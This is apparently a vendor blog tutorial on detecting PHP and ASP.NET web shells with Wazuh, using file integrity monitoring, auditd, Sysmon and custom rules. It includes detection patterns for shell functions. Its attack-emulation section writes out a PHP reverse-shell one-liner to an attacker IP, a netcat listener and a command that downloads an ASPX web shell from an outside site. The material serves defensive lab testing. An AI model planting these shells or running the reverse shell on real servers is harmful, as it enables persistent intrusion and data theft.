Web shell attack detection with Wazuh

Web shell attack detection with Wazuh

Cyber attackers are known to utilize various techniques to maintain persistence on compromised endpoints. These techniques ensure that attackers do not repeat exploitation phases when compromised web servers reboot, change credentials, or encounter interruptions that may cause loss of access. Installing a web shell on a web server is one way of achieving persistence.

Description of web shells

Web shells are web-based scripts or programs that give remote attackers unrestricted access to web servers. Malicious actors typically use it to maintain stealthy and persistent access to compromised web servers, like Internet Information Services (IIS), Apache, NGINX, and content management systems such as WordPress. These cyber attackers can get a foothold on a web server by exploiting application vulnerabilities or system misconfigurations via attacks such as SQL injection (SQLi), cross-site scripting (XSS), remote file inclusion (RFI), etc.

When cyber attackers compromise an endpoint, they inject web shells into the targeted web server’s directory and execute it via web browsers. With this, a permanent backdoor is set up for attackers to perform post-exploitation activities via HTTP requests. Some of these post-exploitation activities include; running commands, exfiltrating sensitive information, uploading malware, and defacing websites.

Web shell

Most web shells follow the same concepts in their design and purpose. Web shells are generally written in programming languages supported by the victim web servers. Examples of supported languages include PHP, ASP, ASP.NET, Perl, Python, Ruby, Java, and Unix shell scripts.

Common indicators of web shells

  • Recently uploaded or modified files: Malicious actors upload their web shells to web server directories or modify existing files in the web server directories to repurpose them as web shells. Files with recent timestamps that do not match with approved updates on the web server may indicate a compromise.
  • Unusual network connections: Web shells can open ports to create bind and reverse shells which allow cyber attackers to access compromised web servers. As a result, unknown or unusual TCP or UDP traffic from a web server may indicate the presence of a web shell.
  • Misconfigurations and modified headers: User requests are usually appended with the user agent and referer HTTP headers information. Cyber attackers can modify an application’s configuration file to allow command execution on the application headers on compromised web servers to keep a web shell undercover. For example, a normal user agent looks like the following:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36

It can be modified to include a command like User-Agent: ifconfig. This may indicate the presence of a web shell.

  • Obfuscation techniques: Cyber attackers employ encoding, compression, and replacement techniques to hide code and avoid being detected by security systems or other attackers. For example, an attacker can use the PHP’s base64() and gzdeflate() functions to obfuscate commands by encoding and compressing them into unreadable formats. Then, use the eval() or assert() function to parse the data decoded with base64_decode() and uncompressed with gzinflate(). Files with these functions that web admins do not explicitly add may indicate a web shell attack.

Environment setup

This blog post focuses on PHP and ASP.NET programming languages because of their widespread usage for web applications, making them excellent for writing web shells. We use the following endpoints to demonstrate the ability of Wazuh to detect web shells:

  • A Centos 7 server that runs Wazuh 4.3.10. Follow the Quickstart installation guide to install the Wazuh central components.
  • An Ubuntu 22 victim endpoint that runs the Wazuh agent 4.3.10. This endpoint runs an Apache web server for PHP web applications. Use this Wazuh guide to install and enroll the Wazuh agent.
  • A Windows 11 victim endpoint that runs the Wazuh agent 4.3.10. This endpoint runs an IIS web server for ASP.NET web applications. Use this Wazuh guide to install and enroll the Wazuh agent.
  • A Parrot OS endpoint to perform attacks against the web servers.

Setup the Apache web server on the Ubuntu endpoint

1. Install the Apache web server to serve web applications with the following commands:

$ sudo apt update
$ sudo apt install apache2

2. Install PHP 8.1 to run PHP applications:

$ sudo apt install --no-install-recommends php8.1

The --no-install-recommends flag ensures that the package manager does not install additional packages.

3. To verify the installation, visit the URL: http://<UBUNTU_IP> to see the Apache web server homepage.

Setup the IIS web server on the Windows endpoint

Go to the Windows start menu, type appwiz.cpl, and open the application. Click on Turn Windows features on or off, expand Internet Information Services and enable the following features:

  1. Expand Web Management Tools, and select IIS Management Console.
  2. Expand World Wide Web Services, then Application Development Features, and select .Net Extensibility 3.5, .Net Extensibility 4.8, ASP, ASP.NET 3.5, ASP.NET 4.8, ISAPI Extensions, ISAPI Filters.
  3. Expand Common HTTP Features and select Directory Browsing, Http Errors, Static Content.
  4. Expand Health and Diagnostics and select Http Logging.
  5. Expand Performance Features and select Static Content Compression.
  6. Click OK and click Let Windows update download the files for you to download and install the features.
  7. To verify the installation, visit the URL: http://<WINDOWS_IP> to see the IIS web server homepage.

Attack scenario

The Ubuntu endpoint runs an Apache web server with PHP installed to interpret and execute PHP code. The Windows endpoint runs the Windows IIS web server to interpret ASP.NET code.

As web shells are post-exploitation malware, we assume that the attacker has initial access to the endpoints. The cyber attacker’s goal is to maintain persistence on the compromised web server and perform post-exploitation activities, including the ability to add, execute, and delete files, create reverse shells, and command execution.

Detection techniques

Web shells exist in different variants and can perform a wide range of activities, making them difficult to detect. We use the following capabilities of Wazuh to detect the presence of PHP and ASP.NET web shells on compromised endpoints.

Using file integrity monitoring (FIM) to detect the creation and modification of web shell files

The Wazuh FIM module can detect file changes on web-accessible directories in near real-time and alert system administrators. We use this module to detect when PHP and ASP.NET files are created or modified in the /var/www/html/ and C:inetpubwwwroot default web root directories of Ubuntu and Windows, respectively. Additionally, FIM scans the contents of the files to monitor for signatures of web shells when the files are modified.

Note

Replace the default web root directory in the configurations below if you use a different directory in your environment.

Ubuntu endpoint configuration

1. Add the following configuration to the Wazuh agent /var/ossec/etc/ossec.conf file within the <syscheck> block. This detects file changes in the /var/www/html/ directory.

<directories realtime="yes" check_all="yes" report_changes="yes">/var/www/html</directories>

2. Restart the Wazuh agent to apply the configuration changes:

$ sudo systemctl restart wazuh-agent

Windows endpoint configuration

1. Add the following configuration to the C:Program Files (x86)ossec-agentossec.conf file within the <syscheck> block. This detects file changes in the C:inetpubwwwroot directory.

<directories realtime="yes" check_all="yes" report_changes="yes">C:inetpubwwwroot</directories>

2. Run PowerShell as Administrator and restart the Wazuh agent to apply the configuration changes:

> Restart-Service -Name wazuh

Wazuh server configuration

1. Create a custom rules file webshell_rules.xml in the /var/ossec/etc/rules/ directory. Add the following rules to the /var/ossec/etc/rules/webshell_rules.xml file to trigger alerts when PHP and ASP.NET files are created or modified in the /var/www/html/ and C:inetpubwwwroot web server directories. However, it is essential to examine other file types, as web shells can be embedded in different files.

<group name="linux, webshell, windows,">
  <!-- This rule detects file creation. -->
  <rule id="100500" level="12">
    <if_sid>554</if_sid>
    <field name="file" type="pcre2">(?i).php$|.phtml$|.php3$|.php4$|.php5$|.phps$|.phar$|.asp$|.aspx$|.jsp$|.cshtml$|.vbhtml$</field>
    <description>[File creation]: Possible web shell scripting file ($(file)) created</description>
    <mitre>
      <id>T1105</id>
      <id>T1505</id>
    </mitre>
  </rule>
  
  <!-- This rule detects file modification. -->
  <rule id="100501" level="12">
    <if_sid>550</if_sid>
    <field name="file" type="pcre2">(?i).php$|.phtml$|.php3$|.php4$|.php5$|.phps$|.phar$|.asp$|.aspx$|.jsp$|.cshtml$|.vbhtml$</field>
    <description>[File modification]: Possible web shell content added in $(file)</description>
    <mitre>
      <id>T1105</id>
      <id>T1505</id>
    </mitre>
  </rule>

  <!-- This rule detects files modified with PHP web shell signatures. -->
  <rule id="100502" level="15">
    <if_sid>100501</if_sid>
    <field name="changed_content" type="pcre2">(?i)passthru|exec|eval|shell_exec|assert|str_rot13|system|phpinfo|base64_decode|chmod|mkdir|fopen|fclose|readfile|show_source|proc_open|pcntl_exec|execute|WScript.Shell|WScript.Network|FileSystemObject|Adodb.stream</field>
    <description>[File Modification]: File $(file) contains a web shell</description>
    <mitre>
      <id>T1105</id>
      <id>T1505.003</id>
    </mitre>
  </rule>
</group>

2. Restart the Wazuh manager to apply the configuration changes:

$ sudo systemctl restart wazuh-manager

Using custom Wazuh rules to detect web shell actions

Wazuh allows you to write custom rules that trigger alerts when specific conditions are detected in logs. We integrate Wazuh with auditd on Linux endpoints and Sysmon on Windows to enrich the log sources for better security.

Ubuntu endpoint

Auditd (short for Linux Audit Daemon) is an auditing framework that collects and stores system events such as operating system calls and functions. Using auditd, we can monitor system commands, and network connections performed by a web server user and write rules to alert when detected.

1. Update system packages and install auditd using the following command:

$ sudo apt update
$ sudo apt install auditd

2. Forward the auditd logs to the Wazuh server for analysis by adding the following configuration to the Wazuh agent /var/ossec/etc/ossec.conf file:

<ossec_config>
  <localfile>
    <location>/var/log/audit/audit.log</location>
    <log_format>audit</log_format>
  </localfile>
</ossec_config>

3. Obtain the Apache web server’s user id by executing the following command:

$ sudo apachectl -S
VirtualHost configuration:
*:80                   127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33

We can see that the id of the Apache web server user www-data is 33.

4. Add the following to the auditd /etc/audit/rules.d/audit.rules configuration file. Replace <USER_ID> with the user id obtained in step 3 above.

## Auditd rules that detect command execution from user www-data.
-a always,exit -F arch=b32 -S execve -F uid=<USER_ID> -F key=webshell_command_exec
-a always,exit -F arch=b64 -S execve -F uid=<USER_ID> -F key=webshell_command_exec

## Auditd rules that detect network connections from user www-data.
-a always,exit -F arch=b64 -S socket -F a0=10 -F euid=<USER_ID> -k webshell_net_connect
-a always,exit -F arch=b64 -S socket -F a0=2 -F euid=<USER_ID> -k webshell_net_connect
-a always,exit -F arch=b32 -S socket -F a0=10 -F euid=<USER_ID> -k webshell_net_connect
-a always,exit -F arch=b32 -S socket -F a0=2 -F euid=<USER_ID> -k webshell_net_connect

5. Restart auditd and Wazuh agent to apply the configuration changes:

$ sudo systemctl restart auditd
$ sudo systemctl restart wazuh-agent

Windows endpoint

System Monitor (Sysmon) is a Windows system service that monitors and logs system activity to the Windows event log. It enriches the logs with detailed information about process creations, network connections, and more. For example, Sysmon reveals the IIS worker process w3wp.exe that processes requests sent to the IIS web server. IIS has a security feature called the application pool identity that allows you to run an application pool under a unique account.

This account is called  DefaultAppPool by default. With this account, the IIS worker process only runs with user privileges. Cyber attackers abuse this process to open PowerShell or cmd programs to run shell commands.

Perform the following steps to set up Sysmon and configure Wazuh to process its logs:

1. Download the Sysmon installer and the configuration file sysmonconfig.xml.

2. Install Sysmon with the configuration file using PowerShell with Administrator privileges:

> .Sysmon64.exe -accepteula -i sysmonconfig.xml

3. Add the following configuration to the C:Program Files (x86)ossec-agentossec.conf file to capture and forward Sysmon event logs to the Wazuh manager:

<ossec_config>
  <localfile>
    <location>Microsoft-Windows-Sysmon/Operational</location>
    <log_format>eventchannel</log_format>
  </localfile>
</ossec_config>

4. Restart the Wazuh agent to apply the configuration changes:

> Restart-Service -Name wazuh

Wazuh server configuration

  1. Add the following rules to the /var/ossec/etc/rules/webshell_rules.xml configuration file to detect web shell command execution and established network connections:

Note

Replace DefaultAppPool in the ruleset below if you have changed the default identity account in your environment.

<!-- Linux Rules. -->
<group name="auditd, linux, webshell,">
  <!-- This rule detects web shell command execution. -->
  <rule id="100520" level="12">
    <if_sid>80700</if_sid>
    <field name="audit.key">webshell_command_exec</field>
    <description>[Command execution ($(audit.exe))]: Possible web shell attack detected</description>
    <mitre>
      <id>T1505.003</id>
      <id>T1059.004</id>
    </mitre>
  </rule>

  <!-- This rule detects web shell network connections. -->
  <rule id="100521" level="12">
    <if_sid>80700</if_sid>
    <field name="audit.key">webshell_net_connect</field>
    <description>[Network connection via $(audit.exe)]: Possible web shell attack detected</description>
    <mitre>
      <id>TA0011</id>
      <id>T1049</id>
      <id>T1505.003</id>
    </mitre>
  </rule>
</group>

<!-- Windows Rules. -->
<group name="sysmon, webshell, windows,">
  <!-- This rule detects web shell command execution. -->
  <rule id="100530" level="12">
    <if_sid>61603</if_sid>
    <field name="win.eventdata.parentImage" type="pcre2">(?i)w3wp.exe</field>
    <field name="win.eventdata.parentUser" type="pcre2">(?i)IISsAPPPOOL\\DefaultAppPool</field>
    <description>[Command execution ($(win.eventdata.commandLine))]: Possible web shell attack detected</description>
    <mitre>
      <id>T1505.003</id>
      <id>T1059.004</id>
    </mitre>
  </rule>

  <!-- This rule detects web shell network connections. -->
  <rule id="100531" level="12">
    <if_sid>61605</if_sid>
    <field name="win.eventdata.image" type="pcre2">(?i)w3wp.exe</field>
    <field name="win.eventdata.user" type="pcre2">(?i)IISsAPPPOOL\\DefaultAppPool</field>
    <description>[Network connection]: Possible web shell attempting network connection on source port: $(win.eventdata.sourcePort) and destination port: $(win.eventdata.destinationPort)</description>
    <mitre>
      <id>TA0011</id>
      <id>T1049</id>
      <id>T1505.003</id>
    </mitre>
  </rule>
</group>

2. Restart the Wazuh manager to apply the configuration changes:

$ sudo systemctl restart wazuh-manager

Using command monitoring to monitor network connections of attack attempts

In this section, we use command monitoring to complement the use of auditd in the Linux endpoint. It is to get additional information about the IP addresses and ports where attacks originate.

Ubuntu endpoint configuration

1. Add the following settings to the Wazuh agent /var/ossec/etc/ossec.conf file. It configures the command that executes on the endpoint.

<ossec_config>
  <localfile>
    <log_format>full_command</log_format>
    <command>ss -nputw | egrep '"sh"|"bash"|"csh"|"ksh"|"zsh"' | awk '{ print $5 "|" $6 }'</command>
    <alias>webshell connections</alias>
    <frequency>120</frequency>
  </localfile>
</ossec_config>

Note

The <frequency> tag defines how often the command runs in seconds. The above command runs every 120 seconds. You can configure a value that suits your environment.

2. Restart the Wazuh agent to apply the above configuration changes:

$ sudo systemctl restart wazuh-agent

Wazuh server configuration

1. Add the following decoders to the /var/ossec/etc/decoders/local_decoder.xml configuration file to detect patterns of network connections established by web shells on web servers:

<!-- Decoder for web shell network connection. -->
<decoder name="network-traffic-child">
  <parent>ossec</parent>
  <prematch offset="after_parent">^output: 'webshell connections':</prematch>
  <regex offset="after_prematch" type="pcre2">(d+.d+.d+.d+):(d+)|(d+.d+.d+.d+):(d+)</regex>
  <order>local_ip, local_port, foreign_ip, foreign_port</order>
</decoder>

2. Add the following rules to the /var/ossec/etc/rules/webshell_rules.xml file to detect patterns of network connections established by web shells on web servers:

<!-- This rule detects network connections from scripts. -->
<group name="linux, webshell,">
  <rule id="100510" level="12">
    <match>ossec: output: 'webshell connections'</match>
    <description>[Network connection]: Script attempting network connection on source port: $(local_port) and destination port: $(foreign_port)</description>
    <mitre>
      <id>TA0011</id>
      <id>T1049</id>
      <id>T1505.003</id>
    </mitre>
  </rule>
</group>

3. Restart the Wazuh manager to apply the configuration changes:

$ sudo systemctl restart wazuh-manager

Attack emulation

To demonstrate how web shell attacks work on compromised endpoints, perform the following steps on Ubuntu and Windows endpoints:

Steps to perform the attack against the Ubuntu endpoint

Ubuntu endpoint

Execute the following commands with root user privilege:

1. Create a file, for example, webshell-script.php in the /var/www/html web server directory:

# touch /var/www/html/webshell-script.php

2. Modify the file by adding random content, for example, “Hello world!” using the following command:

# echo 'Hello world!' > /var/www/html/webshell-script.php

3. Replace <PARROTOS_IP> with the IP address of the attacker endpoint in the following command:

# echo -e "<?php exec('/bin/bash -c "bash -i >& /dev/tcp/<PARROTOS_IP>/4444 0>&1"');?>" > /var/www/html/webshell-script.php

This command replaces the content of the file /var/www/html/webshell-script.php with a web shell.

Parrot OS endpoint

On the terminal, use netcat (nc), installed by default, to listen on port 4444 using the following command:

$ nc -lvp 4444

2. Access the web shell from the web browser on the URL: http://<UBUNTU_IP>/webshell-script.php to establish a reverse shell for the Ubuntu endpoint.

3. On the terminal running netcat, a reverse shell connection is established. Execute some commands like whoami, cat /etc/passwd, etc.

View the alerts

On the Wazuh dashboard, navigate to the Security events section and visualize the triggered alerts:

Web shell attack

Steps to perform the attack against the Windows endpoint

Windows endpoint

Run PowerShell as Administrator and execute the following steps:

1. Create a file, for example, webshell-script.aspx in the C:inetpubwwwroot web server directory:

> New-Item -Path 'C:inetpubwwwrootwebshell-script.aspx' -ItemType File

2. Modify the file by adding random content, for example, “Hello world!” using the following command:

> Set-Content -Path 'C:inetpubwwwrootwebshell-script.aspx' -Value 'Hello world!'

3. Download a copy of a web shell and replace the file content of C:inetpubwwwrootwebshell-script.aspx using the following commands:

> Invoke-WebRequest -OutFile 'C:UsersPublicDownloadswebshell.aspx' -Uri https://privdayz.com/cdn/txt/aspx.txt
> copy 'C:UsersPublicDownloadswebshell.aspx' 'C:inetpubwwwrootwebshell-script.aspx'

Parrot OS endpoint

1. On the Parrot OS endpoint, listen on port 4444 using the following command:

$ nc -lvp 4444

2. Access the web shell from the web browser on the URL: http://<WINDOWS_IP>/webshell-script.aspx. The web shell password is admin. Under the CmdShell menu, run commands like whoami, ipconfig, etc.

3. Under the PortMap menu, input the IP address of the Parrot OS endpoint for Remote Ip, input port 4444 for Remote Port, input port 5555 for Local Port, then click MapPort.

View the alerts

On the Wazuh dashboard, navigate to the Security events section and visualize the triggered alerts.

Web shell attack detection

Key takeaways

Web shells usually follow the same concept of maintaining persistence on compromised web servers. It relies on creating or modifying files in web-accessible directories, performing network connections for file uploads and reverse shells, and executing commands for further exploitations.

We have shown that Wazuh can detect when attackers create or modify PHP or ASP.NET files to include web shells using FIM and command monitoring to detect network connections from web shells. Additionally, we have integrated auditd and Sysmon with Wazuh to enrich web server logs to detect command execution and network connections on the compromised endpoints.

Despite this, we strongly recommend organizations prevent post-exploitation activities from happening in the first place. Scanning and patching system and application vulnerabilities and performing security policy monitoring for system misconfigurations can achieve this. For detailed information, you can visit our vulnerability detection and security configuration assessment guide.

References

  1. Web shell
  2. Introduction to web shells (Part 1 – 5).
  3. Mitigating web shells.
  4. Application Pool Identities.
  5. Design of software to search ASP web shells.

The post Web shell attack detection with Wazuh appeared first on Wazuh.